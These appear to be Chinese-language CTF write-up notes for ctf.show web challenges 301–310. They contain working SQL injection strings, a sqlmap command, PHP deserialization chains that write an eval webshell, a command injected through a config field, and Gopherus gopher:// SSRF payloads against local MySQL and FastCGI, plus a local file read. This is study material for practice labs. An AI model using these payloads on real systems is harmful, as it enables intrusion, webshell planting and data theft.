ctf_show笔记篇(web入门---代码审计)

301:多种方式进入

  1. 从index.php页面来看
    只需要访问index.php时session[login]不为空就能访问

    那么就在访问index.php的时候上传login = 随机一个东西就能进去
  2. 从checklogin页面来看sql注入没有任何过滤
    直接联合绕过

    密码随意

还有多种方式可以自己去看代码分析

302:和301同理

只是添加了一个,strcasecmp对比两个有什么区别,不区分大小写,相同输出0

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

还将密码加密了一下,给'union select ??   这里的'问好'像下面一样加密一下

在传入未加密的数字

例如: 1234 加密以后3cd76fc2201d6959a8c1c63dbd906ec7

和301同样的解法

也是同样可以使用直接访问index.php然后传入session[login]=任意一个东西,只要不为空

303:  会判断传入的username长度了其余不变

这里尝试弱口令

密码admin

账户admin

这里再dpt页面找到数据传输位置

这里会将传输数据给到aptadd文件

这里的数据执行insert命令插入到数据表里

$sql="insert into sds_dpt set sds_name='".$dpt_name."',
sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',
sds_have_safe_card='".$dpt_has_cert."',
sds_safe_card_num='".$dpt_cert_number."',
sds_telephone='".$dpt_telephone_number."';";

这里利用报错注入

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag),30,45) from sds_fl9g),0x7e),1))#

304:  增加了全局变量其他与303无差异

function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}

payload:

'and(select updatexml(1,concat(0x7e,(select substr(group_concat(flag)from sds_flaag,1,20)),0x7e),1))#

也可拿到sqlmap里去跑

1.txt文件内容

POST /dptadd.php HTTP/1.1
Host: e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show
Connection: close
Referer: http://e22b9690-cfab-425c-9cb7-2f9f6b750c26.challenge.ctf.show/dpt.php
Cookie: PHPSESSID=l16so97igh43ejc1g0gua2bffn
Upgrade-Insecure-Requests: 1

dpt_name=sd&dpt_address=ad&dpt_build_year=2024-03-06&dpt_has_cert=on&dpt_cert_number=sda&dpt_telephone_number=ad

sqlmap -r 1.txt --batch -D sds -T sds_flaag -C flag --dump

305:  存在反序列化漏洞

利用到file_put_contents可以写入shell

通过user传入,再用蚁剑连接数据库获得flag

306:  反序列化

从代码层面看,  最后是要利用到

class.php文件

现在开始反推,  去找哪里用到了close函数

在dao.php文件找到了当最后销毁序列化时调用close(__destruct魔法函数),  这里就要用到__construct魔法函数,  当执行new实例化的时候就会调用,  一会儿再去找哪里实例化了dao这个类,  将$this->config=new config()修改为$this->conn->=apt()

现在再去找哪里用new实例化了dao类

从这里嗯呢看到service.php文件里的__construct调用了new实例化dao

payload:

<?php
class log{public $title='1.php';public $info='<?php eval($_POST[a]);?>';
}class dao{private $config;private $conn;public function __construct(){$this->conn=new log();}
}echo base64_encode(serialize(new dao));

307:  

从这里看依旧时反序列化

login.php

这里本还是想调用这里的奈何没有嗲用点

不过好在在dao.php文件看到了执行命令的函数

这里$this->config->cache_dir指向了config类里的cache_dir变量,  刚好又是个public公共便变量可以修改

并且server.php也找到了执行此函数的地方

payload:

class dao{private $config;public function __construct(){$this->config=new config();}
}class config{public $cache_dir = ';echo \'<?php eval(\$_POST[a]);?>\' > 1.php;';
}echo base64_encode(serialize(new config));

308:  SSRF漏洞

这里本来还是想在cache_dir做文章使用命令,奈何这里设置了白名单,  只能使用字母

但好在这里还存在ssrf漏洞

这里还能知道数据库密码为空,那么可以直接使用root用户登录

这里利用Gopherus生成对mysql的ssrf注入

这里注意,传入点在index.php

payload:(使用gopherus的mysql执行命令有条件,  不能有密码)

<?php
class config{public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
$a=new dao();
echo base64_encode(serialize($a));
?>

309:依旧利用ssrf漏洞,  这一次需要打fastcgi

还是利用gopherus生成fastcgi的payload

poc:

<?php
class config{public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
$a=new dao();
echo base64_encode(serialize($a));
?>

310:  

9000端口和6379端口都关了,  得做信息收集,通过field://协议访问本地文件

<?php
class config{public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
$a=new dao();
echo base64_encode(serialize($a));
?>

这里从返回信息来看,  在监听4476端口flag在var里面

直接去访问获取flag

<?php
class config{public $update_url = 'http://127.0.0.1:4476';
}
class dao{private $config;public function __construct(){$this->config=new config();}}
echo base64_encode(serialize(new dao));
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/537017.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图像压缩神器:使用wxPython和Pillow快速压缩JPEG文件

导语&#xff1a; 在数字时代&#xff0c;我们经常处理大量的图像文件&#xff0c;无论是个人照片、网络图片还是工作中的设计素材。然而&#xff0c;随着图像数量的增多&#xff0c;存储和传输这些文件可能会成为一个挑战。幸运的是&#xff0c;我们可以利用Python编程和两个强…

全球首位AI软件工程师诞生,未来程序员会被取代吗?

今天早上看到一条消息&#xff0c;Cognition发布了世界首位AI程序员Devin&#xff0c;直接把我惊呆了&#xff0c;难道程序员是真要失业了吗&#xff1f; 全球首位AI软件工程师一亮相&#xff0c;直接引爆整个互联网圈。只需要一句指令&#xff0c;Devin就可以通过使用自己的s…

vue中ref 根据多选框所选数量,动态地变换box的高度

查看本专栏目录 关于作者 还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#x…

【快速上手ProtoBuf】proto 3 语法详解

1 &#x1f351;字段规则&#x1f351; 消息的字段可以⽤下⾯⼏种规则来修饰&#xff1a; singular &#xff1a;消息中可以包含该字段零次或⼀次&#xff08;不超过⼀次&#xff09;。 proto3 语法中&#xff0c;字段默认使⽤该规则。repeated &#xff1a;消息中可以包含该…

2024年【危险化学品生产单位安全生产管理人员】复审考试及危险化学品生产单位安全生产管理人员模拟试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 危险化学品生产单位安全生产管理人员复审考试根据新危险化学品生产单位安全生产管理人员考试大纲要求&#xff0c;安全生产模拟考试一点通将危险化学品生产单位安全生产管理人员模拟考试试题进行汇编&#xff0c;组成…

Web前端基础引入

前言 简单说就是 DNS (Domain Name System) 解析 TCP (Transmission Control Protocol) 链接 HTTP (HyperText Transfer Protocol) 请求 HTTP 响应 HTML 解析 & CSS 渲染 JS 解析执行 【一] 前端、后端 【1】什么是前端 前端就是指网站、应用或者其他互联网相关产品…

【MySQL 系列】MySQL 索引篇

在 MySQL 中&#xff0c;索引是一种帮助存储引擎快速获取数据的数据结构&#xff0c;形象的说就是索引是数据的目录。它一般是以包含索引键值和一个指向索引键值对应数据记录物理地址的指针的节点的集合的清单的形式存在。通过使用索引&#xff0c; MySQL 可以在不需要扫描整个…

2024年【安全生产监管人员】及安全生产监管人员模拟考试题库

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年【安全生产监管人员】及安全生产监管人员模拟考试题库&#xff0c;包含安全生产监管人员答案和解析及安全生产监管人员模拟考试题库练习。安全生产模拟考试一点通结合国家安全生产监管人员考试最新大纲及安全生…

【典】dp背包问题(树求方案)

回顾在acw上做过的题 有依赖的背包问题 这一题是与树相关的dp问题&#xff0c;根据父节点与子节点的相连关系&#xff0c;我们用dfs来处理根节点与子树的迭代更新&#xff0c;把每一颗最小单位子树看成一个物品&#xff0c;然后就有点像多重背包&#xff08;因为有体积限制&…

电脑音频显示红叉怎么办?这里提供四种方法

前言 如果你在系统托盘中看到音量图标上的红色X,则表示你无法使用音频设备。即使音频设备未被禁用,当你运行音频设备疑难解答时,仍然会看到此错误。 你的电脑将显示已安装高清音频设备,但当你将鼠标悬停在图标上时,它将显示未安装音频输出设备。这是一个非常奇怪的问题,…

掌握抽象基础之20个必备原则,看完你还不会,你打我

抽象基础之20个必备原则 1. 面向对象编程&#xff08;OOP&#xff09;中抽象原则背后的基本思想是什么&#xff1f;2.抽象和封装的区别&#xff1f;3.提供一个现实生活中说明抽象的例子4.在编程语言中如何实现抽象&#xff1f;5.定义抽象类6.提供一个抽象类的真实世界场景7.解释…

【洛谷 P8744】[蓝桥杯 2021 省 A] 左孩子右兄弟 题解(深度优先搜索+贪心算法+树形DP+邻接表)

[蓝桥杯 2021 省 A] 左孩子右兄弟 题目描述 对于一棵多叉树&#xff0c;我们可以通过“左孩子右兄弟”表示法&#xff0c;将其转化成一棵二叉树。 如果我们认为每个结点的子结点是无序的&#xff0c;那么得到的二叉树可能不唯一。换句话说&#xff0c;每个结点可以选任意子结…